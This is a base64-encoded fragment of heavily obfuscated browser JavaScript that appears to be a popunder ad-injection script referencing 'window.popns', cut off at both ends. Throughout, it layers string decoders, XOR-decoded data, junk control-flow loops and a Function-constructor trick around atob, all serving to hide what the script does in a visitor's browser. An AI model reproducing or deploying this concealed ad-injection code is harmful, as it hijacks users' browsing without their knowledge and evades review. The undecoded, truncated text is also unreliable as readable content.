0LGxjLHRbcGldJiZ0WzBdPT09eXUpO30sd2k6ZnVuY3Rpb24odCxlLGkpe3ZhciBXMSxsMSxjMTtXMT0xMTQ2NjMzOTY5O2wxPTU4MTgzMzU3NjtjMT0yO2Zvcih2YXIgdTE9MTt3NS5kMSh1MS50b1N0cmluZygpLHUxLnRvU3RyaW5nKCkubGVuZ3RoLDY5ODkxKSE9PVcxO3UxKyspe1pjLkcodFtOaV0oR3IrUGUrR3IpKTxlJiZpKGd1LHl1KTtjMSs9Mjt9aWYodzUuZDEoYzEudG9TdHJpbmcoKSxjMS50b1N0cmluZygpLmxlbmd0aCw0ODMyNikhPT1sMSl7WmMuRyh0W05pXShHciVQZSVHcikpPj1lfHxpKGd1LHl1KTt9fSxDaTpmdW5jdGlvbigpe3ZhciByLG8scyxhLGMsdSxoLGYscCxfO2Z1bmN0aW9uIHQoKXt2YXIgdCxlO3c1Lm80KDE3KTtlPVt3NS51NChIbixUdCxHcixFbixHcixDYSxKYSksdzUuYzQoeG4sVHQsR3IsRW4sR3IsQ2EsSmEsdzUubzQoMTcpKSx3NS5jNChKYSxUdCxRYSx3NS5ZNCg0KSksdzUuYzQoQ24sR3IsVXMsbXIsVHQsdzUubzQoMSkpLHc1LnU0KFdlLEdyLHhuLG1yLFR0LHc1Llk0KDEpKV07Zm9yKHQ9MDt0PGVbcGldO3QrKylpZihaYy5sKGVbdF0pKXtyZXR1cm4gS2MuZSh0LFpjLmwoZVt0XSkpLGd1O31yZXR1cm4geXU7fWZ1bmN0aW9uIGkoaSl7dT0yO198fChfPWd1LGlvKGZ1bmN0aW9uKCl7Xz15dTt9LFhjLm90PzUwMDoxNTApLEN1JiYhcC5VZXx8KHI9aXUudHQoaSksbz1aYy5CKHIsT24pLGM9WmMuUyhyKSxyW2FhK0dyK0dpXShsbyk9PT1mdT8oclt4ZV1beHRdPVhpLFpjLlAocikscj1pdS50dChpLGd1KSk6byYmKHM9KHI9bylbYWErR3IrR2ldKFRpKSxhPVpjLk4ociksYz1aYy5TKHIpKSxmLkVpKHIsYyksZi5YZS5paXx8Zi5YZS5uaXx8Zi5YZS5yaXx8aVtVb118fGUoZi5jaS51aVtPXSYmZi5jaS51aVtPXSE9PWlbT10pfHxlKHAuS2UmJiFFdSl8fGUoIWlbSGMrR3IrVWVdJiYhaVtIYytHcit4b10pfHxlKCFYYy5vdCYmIVhjLmcmJnR5cGVvZiBpW3F0XSE9PWdlJiYwIT09aVtxdF0pfHxlKCFYYy5vdCYmIWYuWmUmJihYYy5jdHx8WGMuYnx8WGMudXQpKXx8ZSghWGMub3QmJiFwLkdlJiYoWGMuYnx8WGMudXQpJiZzPT09RmkpfHxlKGYucGkoKSl8fGUoZi5faSgpKXx8ZSghZi5QaSgpKXx8ZSghZi5UaShyKSl8fGUoYyYmIXAuTmUpfHxlKCFwLlJlJiZ0KCkpfHwoZi5BaShpKSxYYy5ldCYmbyYmYSYmZi5FZShpKSxYYy5vdHx8IW98fGN8fChYYy5iJiZzIT09RmkmJlpjLlkoKXx8cC5HZSYmcz09PUZpJiYoWGMuYnx8WGMudXQpKSYmZi5FZShpKSxmLkZpPW11LGYuaGkoKSkpKTt9Zj10aGlzO3A9Zi5tdDtfPXl1O2Z1bmN0aW9uIGUodCl7cmV0dXJuKyt1LHQmJktjLmUodSksdDt9cC5SZXx8IXQoKT8oaD1YYy5kfHxYYy5nP3FhOmVjLGZ1bmN0aW9uKCl7aXUuWChyaSxncyxpLGd1KTtYYy5vdD8oaXUuWChyaSxlYyxuLGd1KSxpdS5YKHJpLHFhLG4sZ3UpKTppdS5YKHJpLGgsbixndSk7fSgpLHRoaXMuU2koKSx0aGlzLmppKCksdGhpcy5MaSgpLHRoaXMuemkoKSx0aGlzLkJpKCkpOktjLmUoeXUpO2Z1bmN0aW9uIG4odCl7cj1vPWM9cz1hPW11OyFYYy5vdCYmdFtIYytHcitVZV0rKFhjLm50PzE3OjE1KT55W1BhK0dyK2ddP3AuUWUmJigocj17fSkuc2Nyb2xsYmFyPWd1LGYuRWkocix5dSksZi5waSgpfHxmLl9pKCl8fCFmLlBpKCl8fGYuaGkoKSk6aSh0KTt9fSxsaTpmdW5jdGlvbih0KXtpZih0aGlzLlhlLmlpfHx0aGlzLlhlLm5pfHx0aGlzLlhlLnJpKXtyZXR1cm4geXU7fXN3aXRjaCh0Lnl0KXtjYXNlIF91Om5ldyBRYy5tZSh0KS5wZSgpO2JyZWFrO2Nhc2UgZHU6bmV3IFFjLmdlKHQpLnBlKCk7YnJlYWs7Y2FzZSBsdTpuZXcgUWMueWUodCkucGUoKTticmVhaztjYXNlIHB1OnRyeXtuZXcoUWMuZHQoKSkodCkucGUoKTt9Y2F0Y2godCl7S2MuZSh0KTt9fXJldHVybiB0LnF0KCksZ3U7fSxqaTpmdW5jdGlvbigpe3ZhciB0LGUsaSxuLHIsbztuPXRoaXM7cj17fTtvPWZ1bmN0aW9uKHQpe2ZvcihlPTA7ZTx0W3BpXTtlKyspe24uTWkodFtlXSk7fX07Q28oZnVuY3Rpb24oKXt2YXIgZTtmb3IodD0wO3Q8bi5tdC4kZVtwaV07dCsrKXtpZihlPW4ubXQuJGVbdF0sKGk9cmlbYWErR3IrUmUrR3IraWkrR3IrUmkrR3IrbWNdKGUpKVtwaV0mJm4ucGkoKXx8IW4uUGkoKSl7cmV0dXJuO310eXBlb2YgcltlXSE9PWdlJiZyW2VdPT09aVtwaV18fG8oaSk7fX0sMWUzKTt9LElpOmZ1bmN0aW9uKHQpe3ZhciBlLGksbixyLG8scyxlOSxqOSxaOTtvPTI7cz15dTtmb3IoZT0wO2U8PW87ZSsrKXtpZigobj1yaVt3citHcitqbitHcitMY10odFtIYytHcitVZV0rZSx0W0hjK0dyK3hvXSkpJiZuW1NjK0dyK21jXT09PXBhK0dyK09uK0dyK0ZjK0dyK1BzK0dyK3BhKXtzPWd1O2JyZWFrO31mb3IoaT0wO2k8PW87aSsrKWlmKChuPXJpW3dyK0dyK2puK0dyK0xjXSh0W0hjK0dyK1VlXStlLHRbSGMrR3IreG9dK2kpKSYmbltTYytHcittY109PT1wYStHcitPbitHcitGYytHcitQcytHcitwYSl7cz1ndTticmVhazt9aWYocylicmVhazt9aWYocylmb3Iocz15dSxyPW5bYWErR3IrUmUrR3IraWkrR3IrUmkrR3IrbWNdKGVpKSxlPTA7ZTxyW3BpXTtlKyspaWYoWmMuVShyW2VdKSl7cz1ndTticmVhazt9ZTk9MTI0NjQ2Mzc5O2o5PTE4ODY4MTA5NztaOT0yO2Zvcih2YXIgVTk9MTt3NS5MMShVOS50b1N0cmluZygpLFU5LnRvU3RyaW5nKCkubGVuZ3RoLDU5MDM1KSE9PWU5O1U5Kyspe3JldHVybiBzP246eXU7WjkrPTI7fWlmKHc1LmQxKFo5LnRvU3RyaW5nKCksWjkudG9TdHJpbmcoKS5sZW5ndGgsNDQ5MzkpIT09ajkpe3JldHVybiBzP246eXU7fX0sRGk6ZnVuY3Rpb24oKXtpZighdGhpcy5YZS5laSl7dGhpcy5YZS5laT1ndTt0cnl7dGhpcy52aSgpO3RoaXMuYmkoKTt9Y2F0Y2godCl7fUtjLmUoW3RoaXMuWGUubmk/MDoxLHRoaXMuWGUucmk/MDoxLHRoaXMuWGUueGldW05pXShHcikpO319LFhlOnt0aTp5dSxuaTpndSxlaTp5dSxvaTowLHJpOmd1LHNpOjAsaWk6eXV9LG5uOmZ1bmN0aW9uKHQsZSxpKXtmb3IodmFyIG4scj0wLG89ZT09PVJuP3RoaXMubXQuSmU6dGhpcy5tdC5xZTtpJiZvW3BpXTspe29bQnNdKCk7fWZvcig7cjx0W3BpXTtyKyspe3R5cGVvZihuPXRbcl0pPT09VGM/b1tNcl0obik6dHlwZW9mIG49PT1hciYmdHlwZW9mIG5bd2ErR3IrbWNdPT09VGMmJm9bTXJdKG4pO31yZXR1cm4gdGhpczt9LEppOmZ1bmN0aW9uKCl7dmFyIHkxLEgxLHYxLHQsZTt5MT0xNzAzNzYyNDUyO0gxPTEyMTk1OTkwMzk7djE9Mjtmb3IodmFyIEUxPTE7dzUuZDEoRTEudG9TdHJpbmcoKSxFMS50b1N0cmluZygpLmxlbmd0aCwzODk3NykhPT15MTtFMSsrKXtlPTY7Zm9yKHRoaXMuZmk9W107ZT49dGhpcy5XZVtwaV07ZS0tKXsodD10aGlzLldlW2VdKS5MdCgpfHx0aGlzLmZpW01yXSh0KTt9djErPTI7fWlmKHc1LmQxKHYxLnRvU3RyaW5nKCksdjEudG9TdHJpbmcoKS5sZW5ndGgsMjE2MzkpIT09SDEpe2U9MTtmb3IodGhpcy5maT1bXTtlPnRoaXMuV2VbcGldO2UrKyl7KHQ9dGhpcy5XZVtlXSkuTHQoKSYmdGhpcy5maVtNcl0odCk7fX1lPTA7Zm9yKHRoaXMuZmk9W107ZTx0aGlzLldlW3BpXTtlKyspeyh0PXRoaXMuV2VbZV0pLkx0KCkmJnRoaXMuZmlbTXJdKHQpO31yZXR1cm4gdGhpcy5maTt9LGRpOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuY2kudWk7fX07aXUuWCh5LFN0LGZ1bmN0aW9uKCl7dmFyIFg3LEI3LFM3O1g3PTIwMTA5MDA5MDY7Qjc9LTE2OTQwNjQ1NTI7Uzc9Mjtmb3IodmFyIGE3PTE7dzUuTDEoYTcudG9TdHJpbmcoKSxhNy50b1N0cmluZygpLmxlbmd0aCwxNDk3OSkhPT1YNzthNysrKXtFdT0hMTtTNys9Mjt9aWYodzUuZDEoUzcudG9TdHJpbmcoKSxTNy50b1N0cmluZygpLmxlbmd0aCw2MjI0OCkhPT1CNyl7RXU9IXt9O31FdT1vNTt9KTtpbyhmdW5jdGlvbigpe3c1Lm80KDE1KTtLYy5lKHc1LnU0KFNpLFllLEdyLFR0LFllLE0sR3IsWWUsUWUsT3QsQW8pKTt3NS5vNCg0KTtLYy5lKHc1LmM0KHhhLFZ0LEdyKSxvdSk7dzUuWTQoNCk7S2MuZSh3NS5jNChxaSxWdCxHciksc3UpO3c1Lm80KDQpO0tjLmUodzUudTQoRXMsVnQsR3IpLGF1KTt9LDEwKTt5W3J1XT15W3J1XXx8ZnVuY3Rpb24oKXt2YXIgdCxlLGksbixyLG87cj17fTtvPVpjLnAoW1trbytHcitSYStHcitudCxbR2MsR2MuaV1dLFtKbixzdV0sW0d0LG91XSxbWW8rR3IraXMsYXVdLFt6YSxbR2MsR2MuWGkscl1dLFthYStHcitJaSxbR2MsR2MuWmldXSxbYWErR3IrUStHcitiYSxbR2MsR2MuWWldXSxbYWErR3IrX28rR3IrYmEsW0djLEdjLktpXV0sW3crR3IrQ24sW0djLEdjLk1pXV0sW0huLFtHYyxHYy5lbixyXV0sW0duLFtHYyxHYy5oaSxyXV0sW2VzLFtHYyxHYy5HaSxyXV0sW2xjK0dyK2JhLFtHYyxHYy5xZSxyXV0sW1JuK0dyK2JhLFtHYyxHYy5KZSxyXV0sW2FhK0dyK2h0K0dyK0NuLFtHYyxHYy53ZV1dLFthYStHcitubitHcitabyxbR2MsR2MuJGldXSxbYWErR3IreWUrR3IrWm8sW0djLEdjLlZpXV0sW0JhK0dyK3llLFtHYyxHYy5QaV1dLFtrbytHcitkdCtHcitKZSxbR2MsR2MucGldXSxbYWErR3IrVXQrR3IramUrR3IrQmksW0djLEdjLlFpXV0sW2FhK0dyK1V0K0dyK0NhLFtHYyxHYy5kaV1dLFt6aSxbR2MsR2MuTmldXSxbYWErR3IrXyxbR2MsR2MuVWldXSxbRm8rR3IrXyxbR2MsR2MuUmldXSxbaGErVHQrT28sW0tjLEtjLmVdXSxbaGErVHQrRyxbS2MsS2Mucl1dLFtPYStUdCtsaSxbdHUsdHUuYV1dLFtPYStUdCthYSxbdHUsdHUuY11dLFtPYStUdCt4bixbdHUsdHUudV1dLFt0aStUdCtrbytHcitkaSxbZXUsZXUuc11dLFt0aStUdCtsaSxbZXUsZXUuYV1dLFt0aStUdCthYSxbZXUsZXUuY11dLFt0aStUdCt4bixbZXUsZXUudV1dLFtjZStUdCtKbixYYy5wdF0sW2NlK1R0K0lyK0dyK3FpLFhjLmZ0XSxbY2UrVHQra28rR3IrQ3MsWGMuaXRdLFtjZStUdCtrbytHcitYbyxYYy5udF0sW2NlK1R0K2tvK0dyK01hLFhjLm1dLFtjZStUdCtrbytHcit2YStHcitmYytHcit0YyxYYy5ldF0sW2NlK1R0K2tvK0dyK0JuLFhjLnJ0XSxbY2UrVHQra28rR3Irdm4sWGMub3RdLFtjZStUdCtrbytHcitoZSxYYy5zdF0sW2NlK1R0K2tvK0dyK3l0LFhjLmF0XSxbY2UrVHQra28rR3IrZ2MsWGMuYl0sW2NlK1R0K2tvK0dyK0luLFhjLmRdLFtjZStUdCtrbytHcitGYSxYYy5odF0sW2NlK1R0K2tvK0dyK3ZhK0dyK1BzLFhjLmddLFtjZStUdCtrbytHcitjcyxYYy5jdF0sW2NlK1R0K2tvK0dyK0VvLFhjLnV0XSxbY2UrVHQrSm4rR3IrdXQsW1hjLFhjLkpdXSxbY2UrVHQrYW8rR3IrZGksW1hjLFhjLmx0XV0sW0NhK1R0K2xjK0dyK3FzLFtpdSxpdS5LXV0sW0NhK1R0K2xjLFtpdSxpdS5YXV0sW0NhK1R0K2xhLFtpdSxpdS5aXV0sW0NhK1R0K2FhK0dyK3luLFtpdSxpdS50dF1dLFtLZStUdCtrbytHcit2ZStHciskZSxbWmMsWmMud11dLFtLZStUdCtKbitHcit1dCxbWmMsWmMuSl1dLFtLZStUdCtvcyxbWmMsWmMuR11dLFtLZStUdCt3byxbWmMsWmMueV1dLFtLZStUdCtKaSxbWmMsWmMuJF1dLFtLZStUdCtVcytHcitDbixbWmMsWmMuel1dLFtLZStUdCt4bitHcitDbixbWmMsWmMuUF1dLFtLZStUdCthYStHcitVaSxbWmMsWmMuQl1dLFtLZStUdCtEZStHcitZaSxbWmMsWmMuSF1dXSk7Zm9yKGUgaW4gbylpZih5aVtYdF1bQmErR3IrbHQrR3Irb29dW0NpXShvLGUpKXtmb3Iobj1lW0NyXShHcitUdCtHciksdD1yLGk9MDtpPG5bcGldLTE7aSsrKXt0eXBlb2YgdFtuW2ldXT09PWdlJiYodFtuW2ldXT17fSk7dD10W25baV1dO310W25bbltwaV0tMV1dPWZ1bmN0aW9uKHQsZSl7cmV0dXJuIFpjLngodFtlXSk/MT09PXRbZV1bcGldP3RbZV1bMF06ZnVuY3Rpb24oKXtyZXR1cm4gMj09PXRbZV1bcGldP3RbZV1bMV1bb2FdKHRbZV1bMF0sYXJndW1lbnRzKToodFtlXVsxXVtvYV0odFtlXVswXSxhcmd1bWVudHMpLHRbZV1bMl0pO306dFtlXTt9KG8sZSk7fXJldHVybiByO30oKTt9KHQucG9wbnN8fHpjK0dyK1VjK0dyK09jLHQsdFtFaV0sdFtPaV0sdFttcl0sdFtyb10sdFtibl0sdFtObl0sdFtDb10sdFtyaStHcitpb10sdFtsaStHcitZaV0sdFtNaStHcitZaV0sdFtsaStHcitBaV0sdFtNaStHcitBaV0sdFtMdCtHcit0YytHcitmYytHcitndF0sdFt5K0dyK1J0XSx0W2tvK0dyK3lpK0dyK2d0XSx0W2lzXSx0W1hlK0dyK1ZyK0dyK0dzK0dyK3ZhK0dyK1VyXSx0W2RyXSk7fSh3aW5kb3cpO2Y1eXkuSD1mdW5jdGlvbiAoKXtyZXR1cm4gdHlwZW9mIGY1eXkuTC55PT09J2Z1bmN0aW9uJz9mNXl5LkwueS5hcHBseShmNXl5LkwsYXJndW1lbnRzKTpmNXl5LkwueTt9O2Y1eXkuVz1mdW5jdGlvbiAoKXtyZXR1cm4gdHlwZW9mIGY1eXkuTC52PT09J2Z1bmN0aW9uJz9mNXl5Lkwudi5hcHBseShmNXl5LkwsYXJndW1lbnRzKTpmNXl5Lkwudjt9O2Y1eXkuZz1mdW5jdGlvbiAoKXtyZXR1cm4gdHlwZW9mIGY1eXkuTC5PPT09J2Z1bmN0aW9uJz9mNXl5LkwuTy5hcHBseShmNXl5LkwsYXJndW1lbnRzKTpmNXl5LkwuTzt9O2Y1eXkuZj1mdW5jdGlvbiAoKXtyZXR1cm4gdHlwZW9mIGY1eXkuTC52PT09J2Z1bmN0aW9uJz9mNXl5Lkwudi5hcHBseShmNXl5LkwsYXJndW1lbnRzKTpmNXl5Lkwudjt9O2Z1bmN0aW9uIGY1eXkoKXt9ZjV5eS5CPWZ1bmN0aW9uICgpe3JldHVybiB0eXBlb2YgZjV5eS5MLnk9PT0nZnVuY3Rpb24nP2Y1eXkuTC55LmFwcGx5KGY1eXkuTCxhcmd1bWVudHMpOmY1eXkuTC55O307ZjV5eS5SPWZ1bmN0aW9uICgpe3JldHVybiB0eXBlb2YgZjV5eS5DLnY9PT0nZnVuY3Rpb24nP2Y1eXkuQy52LmFwcGx5KGY1eXkuQyxhcmd1bWVudHMpOmY1eXkuQy52O307ZjV5eS5JPWZ1bmN0aW9uICgpe3JldHVybiB0eXBlb2YgZjV5eS5DLnY9PT0nZnVuY3Rpb24nP2Y1eXkuQy52LmFwcGx5KGY1eXkuQyxhcmd1bWVudHMpOmY1eXkuQy52O307ZjV5eS5MPWZ1bmN0aW9uKEQpe3JldHVybnt5OmZ1bmN0aW9uKCl7dmFyIEcsZD1hcmd1bWVudHM7c3dpdGNoKEQpe2Nhc2UgMjpHPWRbMF0qZFsxXTticmVhaztjYXNlIDA6Rz1kWzBdfGRbMV07YnJlYWs7Y2FzZSAxOkc9ZFsxXS1kWzBdO2JyZWFrO31yZXR1cm4gRzt9LE86ZnVuY3Rpb24oVil7RD1WO319O30oKTtmNXl5Lno9ZnVuY3Rpb24gKCl7cmV0dXJuIHR5cGVvZiBmNXl5LkwuTz09PSdmdW5jdGlvbic/ZjV5eS5MLk8uYXBwbHkoZjV5eS5MLGFyZ3VtZW50cyk6ZjV5eS5MLk87fTtmNXl5LkM9ZnVuY3Rpb24oKXt2YXIgUT0yO3doaWxlKFEhPT0xKXtzd2l0Y2goUSl7Y2FzZSAyOnJldHVybnt2OmZ1bmN0aW9uKFUpe3ZhciBiPTI7d2hpbGUoYiE9PTE0KXtzd2l0Y2goYil7Y2FzZSAyOnZhciBLPScnLGw9ZGVjb2RlVVJJKCJ0JTExa2JsYyU3RCUwNmhiZGxtbDYhJTNDJTNDKyU1QmNkLTo1JTVENyg4Jy8lNUJ3LzI4bWolM0M4KTA3YiolMUMyJTI1bSUwN3ElN0RvYmslMTh3JTdDc2RtaDcpKSUyMipaMmQlMTgtNUErKS5vbXMlMTUlMjUlM0UwKyU1QiUzQyUxMXUlMjA2TXk/KScsSy1kJTNFOSxLMi00OyUyMCUwNjojMCU3RDUlNUM6IzMya0s2IXU5Kks4JTIwNTo2JTVDcSUxRiUzRScsWC1sMCUyMDYlNUN5Ljh1KUc4KDgxZUolM0MqMiclMjAlMDg1JTI1JTNFMCslNUIlM0NsOyUzQylNcWIxOiZJNSIpO2I9MTticmVhaztjYXNlIDk6Sys9U3RyaW5nLmZyb21DaGFyQ29kZShsLmNoYXJDb2RlQXQoWSleVS5jaGFyQ29kZUF0KGspKTtiPTg7YnJlYWs7Y2FzZSAxOnZhciBZPTAsaz0wO2I9NTticmVhaztjYXNlIDU6Yj1ZPGwubGVuZ3RoPzQ6NzticmVhaztjYXNlIDM6az0wO2I9OTticmVhaztjYXNlIDg6WSsrLGsrKztiPTU7YnJlYWs7Y2FzZSA0OmI9az09PVUubGVuZ3RoPzM6OTticmVhaztjYXNlIDc6Sz1LLnNwbGl0KCcoJyk7cmV0dXJuIGZ1bmN0aW9uKFApe3ZhciBoPTI7d2hpbGUoaCE9PTEpe3N3aXRjaChoKXtjYXNlIDI6cmV0dXJuIEtbUF07YnJlYWs7fX19O2JyZWFrO319fSgnRShZTF1VJyl9O2JyZWFrO319fSgpOyFmdW5jdGlvbihlLG8sYyl7InVzZSBzdHJpY3QiO3ZhciBUPWY1eXk7dmFyIGksbix0O1QuZygwKTtpPVQuUihULkgoIjgiLDApKTtULnooMCk7bj1bVC5JKFQuSCgnXHgzMVx4MzAnLDApKSxULkkoKyI2IiksVC5SKCsnXHgzMVx4MzQnKSxULlIoKyIxMiIpLFQuUihULkgoIjUiLDAsVC5nKDApKSksVC5JKFQuQigwLCdceDMwJyxULnooMSkpKSxULlIoVC5CKCdceDMxXHgzMScsMCxULnooMCkpKSxULkkoKyIyIildO1QuZygyKTt0PVsrJ1x4MzJceDMwXHgzMVx4MzknLFQuQignXHUwMDM1JywxKSxULkgoJ1x4MzFceDM2JywwLFQuZygwKSldO3RyeXtzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7Yy5Mb2dnZXIubG9nKGksVC5SKCsnXHgzMScpLG4pO2MuTG9nZ2VyLmxvZyhpLFQuUigiNyItMCksdC5qb2luKFQuSSgnXHgzNCctMCkpKTt9LCsiNTAwIik7VC56KDEpO2Mub2JqZWN0PVtuLFsrIjM2MCIsNDk0LDM5MSwrIjMxMiIsVC5CKDAsIjMxMiIpLFQuSCgiMzY1IiwwLFQuZygwKSksKydceDM0XHgzMFx4MzQnLFQuSCgiMzAwIiwwLFQuZygwKSksKydceDMzXHgzNlx4MzBceDMwXHgzMScsVC5IKDAsJ1x4MzNceDM5XHgzNVx4MzJceDMyJyxULmcoMSkpLFQuQigiMTg3NzEiLDAsVC56KDApKSwrIjM0OTQ4IiwxNjU0MSwyOTU3MSwrJ1x4MzVceDMxXHgzN1x4MzFceDM5JywzMzkwOCxULkgoIjc4ODQwIiwwLFQuZygwKSksMTA1OTY0LCsnXHgzOFx4MzRceDM1XHgzNVx4MzUnLFQuSCgiNzI0MjYiLDAsVC5nKDApKSxULkgoJ1x4MzNceDMwXHgzNVx4MzlceDM5JywwLFQuZygwKSksVC5CKCdcdTAwMzRcdTAwMzFcdTAwMzZcdTAwMzJcdTAwMzYnLDAsVC5nKDApKSxULkIoMCwnXHUwMDM4XHUwMDM4XHUwMDMwXHUwMDM4XHUwMDM0JyxULnooMSkpLFQuSCgiNjU0MDkiLDEsVC5nKDIpKSwxNDQwMCxULkgoIjEyODQ0IiwxLFQueigyKSksKydceDM4XHgzNlx4MzBceDMyJyxULkgoJ1x4MzFceDMwXHgzOVx4MzJceDMwJywxLFQuZygyKSksMTM0MTYsVC5IKCdceDMyXHgzNFx4MzhceDMyXHgzMCcsMCxULmcoMCkpLFQuQignXHgzM1x4MzdceDM5XHgzN1x4MzYnLDAsVC56KDApKSwrJ1x4MzVceDMxXHg2NVx4MzMnXSx0LFtULkgoJ1x4MzNceDM2XHgzMicsMCxULmcoMCkpLDQ5NiwrJ1x4MzNceDM5XHgzOScsVC5IKDAsIjczMDkyMyIsVC5nKDEpKSwrJ1x1MDAzMlx1MDAzNVx1MDAzMVx1MDAzMicsVC5IKCI2Mzk4IiwwLFQueigwKSksVC5IKCdcdTAwMzRcdTAwMzFcdTAwMzFcdTAwMzlcdTAwMzFcdTAwMzJcdTAwMzInLDEsVC5nKDIpKSwrJ1x4MzFceDMxXHgzMVx4MzlceDMyJyxULkgoJ1x4MzNceDM0XHgzMlx4MzNceDM2JywwLFQueigwKSksMjQ2MSwzMjU1NywxMDIxMF0sby5jdXJyZW50U2NyaXB0LFQuSCgiMSIsMSxULmcoMikpXTt9Y2F0Y2gobyl7dm9pZCgnXHgzMCcqMSkhPT1lLmNvbnNvbGUmJmUuY29uc29sZS5sb2cmJkZ1bmN0aW9uLmFwcGx5LmNhbGwoZS5jb25zb2xlLmxvZyxlLmNvbnNvbGUsW1QuSSgnXHgzMVx4MzMnfDApXSk7fX0od2luZG93LGRvY3VtZW50LHdpbmRvd1t3aW5kb3cucG9wbnN8fGY1eXkuUigiMyItMCldKTt2YXIgXzB4MTM4Zj1bJ1x4NThceDQ4XHg2M1x4NzInLCdceDQ5XHg1NFx4NDVceDZmXHg2NFx4NDNceDZjXHgzN1x4NGZceDQzXHg0Mlx4NmNceDUwXHg1NFx4NDVceDZmXHg1YVx4NTNceDZjXHgzN1x4NGZceDQzXHg0Mlx4NzVceDUwXHg1OFx4NTFceDc1XHg2Mlx4NzlceDY3XHg2OVx4NjJceDUzXHg0OVx4NzBceDRmXHg3YVx4NTlceDY3XHg2Mlx4NjlceDM0XHg3OVx4NGNceDZkXHg3N1x4MzlceDQ5XHg2ZFx4NzNceDY5XHg0Y1x4NDdceDM0XHg3NVx4NGRceDY5XHgzNVx4NzdceDUwXHg1NFx4NDFceDczXHg2Mlx4NjlceDM0XHg3OVx4NGNceDZlXHg0NVx4MzlceDRkXHg0M1x4NzhceDc1XHg0Y1x4NmFceDQ5XHg3NVx4NjRceDdhXHgzMFx4NjlceDYxXHg2OVx4NDlceDczXHg2Mlx4NjlceDM1XHgzMVx4NTBceDUzXHg0OVx4MzNceDRmXHg2OVx4MzhceDc2XHg2M1x4NjlceDM1XHgzNFx4NGNceDZhXHg1NVx4NzZceDYxXHg0M1x4MzlceDY4XHg0Y1x4NzlceDQ5XHg3Mlx4NWFceDUzXHg3OFx4MzBceDRjXHg2ZFx4NDlceDc1XHg2MVx4NTNceDY4XHg3NVx4NGJceDUzXHg3OFx4NzVceDY2XHg1M1x4NzhceDc1XHg1MFx4NTdceDRkXHg2Zlx4NWFceDc5XHg2N1x4NmZceDY0XHg0M1x4MzVceDZiXHg0Y1x4NmVceDU5XHg2Zlx4NTFceDY5XHg0Mlx4NGZceDRiXHg0M1x4NDlceDZmXHg0ZVx4N2FceDM5XHgzOFx4NTNceDY5XHgzMVx4MzVceDRiXHg1NFx4NzBceDYzXHg1OFx4NDNceDM5XHg2M1x4NThceDQzXHgzOFx4NjlceDRiXHg1M1x4NzdceDY5XHg0OVx4NjlceDZiXHg3NVx4NGRceDc5XHg2N1x4NjlceDRjXHg3OVx4NDlceDcwXHg1N1x4N2FceDQyXHg2NFx4NjZceDQ4XHg3N1x4NjlceDUzXHg3OVx4MzRceDMxXHg0OVx4NjlceDZiXHg3NVx4NGRceDc5XHg2N1x4NjlceDQ5XHg2OVx4NmJceDc1XHg1NFx4NDNceDY3XHg3OFx4NGJceDQ4XHg1MVx4NzBceDY1XHg3YVx4NTlceDY3XHg2NFx4NDNceDM1XHg0ZVx4NGJceDQ0XHg0MVx4NzBceDRjXHg2Ylx4NjNceDZmXHg1M1x4NDNceDZjXHgzOVx4NGJceDUzXHgzNVx4NDJceDRiXHg0M1x4NDlceDY5XHg0Ylx4NTNceDZiXHg3MFx4NGZceDMzXHg2Zlx4NzVceDRlXHg0M1x4NjdceDY5XHg1MVx4NzlceDQ5XHg3M1x4NGRceDUzXHg2N1x4NzBceDY1XHgzMlx4NTVceDZmXHg2Mlx4NjlceDczXHg2OVx4NGNceDMyXHg1OVx4NzVceDRmXHg1M1x4NDlceDcwXHg0Y1x4NmFceDUxXHg2Zlx4NDlceDZiXHg1MVx4NjlceDRjXHg0NFx4NDVceDZmXHg0Ylx4NThceDc0XHg0N1x4NGJceDQ0XHg0NVx4NmZceDRiXHg1OFx4NzRceDZjXHg0Ylx4NDdceDM0XHg3Mlx4NDlceDY5XHgzOVx4N2FceDRjXHg2YVx4NmJceDY5XHg0Ylx4NThceDMwXHg3M1x4NTJceDUzXHg2Y1x4MzlceDRiXHg1OFx4MzBceDcwXHg2Nlx4NTNceDY4XHg0YVx4NGJceDU0XHg3M1x4M2QnLCdceDYzXHgzM1x4NDJceDczXHg2MVx4NThceDUxXHgzZCcsJ1x4NWFceDZlXHg0YVx4NzZceDYyXHg1NVx4NGVceDZmXHg1OVx4NThceDRhXHg0NFx4NjJceDMyXHg1Mlx4NmMnLCdceDY0XHg0N1x4MzlceDU0XHg2NFx4NDhceDRhXHg3MFx4NjJceDZkXHg2M1x4M2QnLCdceDYzXHg2ZFx4NTZceDc3XHg2Mlx4NDdceDQ2XHg2YVx4NWFceDUxXHgzZFx4M2QnXTsoZnVuY3Rpb24oXzB4MWI1OWFjLF8weDMwZDYwNSl7dmFyIF8weDQ0NTljOT1mdW5jdGlvbihfMHgxNDY4YWMpe3doaWxlKC0tXzB4MTQ2OGFjKXtfMHgxYjU5YWNbJ3B1c2gnXShfMHgxYjU5YWNbJ3NoaWZ0J10oKSk7fX07XzB4NDQ1OWM5KCsrXzB4MzBkNjA1KTt9KF8weDEzOGYsMHgxMGIpKTt2YXIgXzB4MTdjMT1mdW5jdGlvbihfMHgxOTc3ZGIsXzB4Yzc5ZjY5KXtfMHgxOTc3ZGI9XzB4MTk3N2RiLTB4MDt2YXIgXzB4MTYyZGYyPV8weDEzOGZbXzB4MTk3N2RiXTtpZihfMHgxN2MxWydPTXJTcXgnXT09PXVuZGVmaW5lZCl7KGZ1bmN0aW9uKCl7dmFyIF8weDI0NzE2Njt0cnl7dmFyIF8weDViZDYyOT1GdW5jdGlvbigncmV0dXJuXHgyMChmdW5jdGlvbigpXHgyMCcrJ3t9LmNvbnN0cnVjdG9yKFx4MjJyZXR1cm5ceDIwdGhpc1x4MjIpKFx4MjApJysnKTsnKTtfMHgyNDcxNjY9XzB4NWJkNjI5KCk7fWNhdGNoKF8weDMyOTViMCl7XzB4MjQ3MTY2PXdpbmRvdzt9dmFyIF8weDI4M2NlOT0nQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODkrLz0nO18weDI0NzE2NlsnYXRvYiddfHwoXzB4MjQ3MTY2WydhdG9iJ109ZnVuY3Rpb24oXzB4MzQxYjE5KXt2YXIgXzB4MTQ0Zjk2PVN0cmluZyhfMHgzNDFiMTkpWydyZXBsYWNlJ10oLz0rJC8sJycpO2Zvcih2YXIgXzB4MjhhNzVlPTB4MCxfMHg1OWNiNWIsXzB4MWUwOTNkLF8weDUxZWZhNj0weDAsXzB4OT